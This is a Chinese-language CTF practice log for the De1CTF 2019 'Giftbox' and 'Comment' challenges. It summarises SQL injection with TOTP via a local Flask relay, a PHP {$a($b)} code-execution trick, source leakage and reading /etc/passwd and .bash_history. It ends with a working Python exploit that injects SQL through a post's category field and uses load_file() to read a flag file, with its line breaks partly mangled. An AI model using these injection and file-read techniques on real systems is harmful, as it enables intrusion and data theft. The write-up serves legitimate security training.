刷题记录:[De1CTF 2019]Giftbox && Comment

题目复现链接:https://buuoj.cn/challenges

参考链接:De1CTF Web WriteUp

BUUCTF平台 web writeup 第三弹

一、知识点

1、sql注入 && totp

totp

盲注时需要附上totp的值。这里学到另一个操作:在本地开个flask,负责转发消息到靶机,然后对本地服务跑sqlmap

2、RCE

{$a($b)}可以执行命令,a为函数名,b为参数。

有个地方要注意的是/不能直接传入,要用chr()转。

3、源码泄露

“据我长期观察,50%的CTF题目打开都是一个登陆页面,而其中又有60%的可以用各种方式拿到源码” ——P神

4、敏感文件读取

  • /etc/passwd 可以查看有没有什么多出来的用户或者别的提示
  • .bash_history 查看命令行历史操作

附上comment的exp,正则学的太烂了

import requests
import random
import re url = "http://3f0bfbea-efd6-4ea2-a298-7e51a05de258.node3.buuoj.cn" s = requests.session() def ran_str():
string = ""
for i in range(6):
string += chr(random.randint(ord('A'), ord('Z'))) return string def login():
data = {
"username": "zhangwei",
"password": "zhangwei666"
}
s.post(url + "/login.php", data=data) def write(payload):
ran_string = ran_str()
data = {
'title': ran_string,
'category': "',content=("+payload+"),/*",
'content': '1'
}
s.post(url + "/write_do.php?do=write", data=data)
return ran_string def comment(id):
data = {
'content': "*/#",
'bo_id': id
}
s.post(url + "/write_do.php?do=comment", data=data) def main():
payload = "select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))"
login()
ran_string = write(payload)
result = re.search("<tr><td>.*</td><td class='AutoNewline'>.*</td><td class='AutoNewline'>"+ran_string+"</td>", s.get(url).text)
id = str(result.group(0).split('</td>')[0][8:])
comment(id)
result = re.split("<p>", s.get(url + "/comment.php?id=" + str(id)).text)[2]
content = result[:result.index('</p>')]
print(content) if __name__ == '__main__':
main()
05-08 15:34